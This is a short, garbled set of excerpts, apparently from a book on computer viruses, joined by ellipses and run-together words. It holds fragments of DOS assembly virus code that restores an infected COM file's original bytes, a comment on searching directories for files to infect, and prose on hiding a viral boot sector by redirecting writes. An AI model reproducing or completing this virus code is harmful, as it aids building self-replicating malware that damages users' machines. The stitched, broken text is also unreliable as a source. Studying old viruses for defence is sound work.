... address of the virus mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore mov WORD PTR [HOST],ax ;5 orig bytes of COM file to start of file mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET ... the;current directory, one of its subdirectories, or the root directory or one ;of its subdirectories, to find a file for which FILE_OK returns with C reset.;If you want to change the depth of the search, ... Book of Computer Virusesfunction can be redirected to keep away from the viral boot sector,redirecting any attempts to write there to the old sector.In addition to hiding the boot sector,...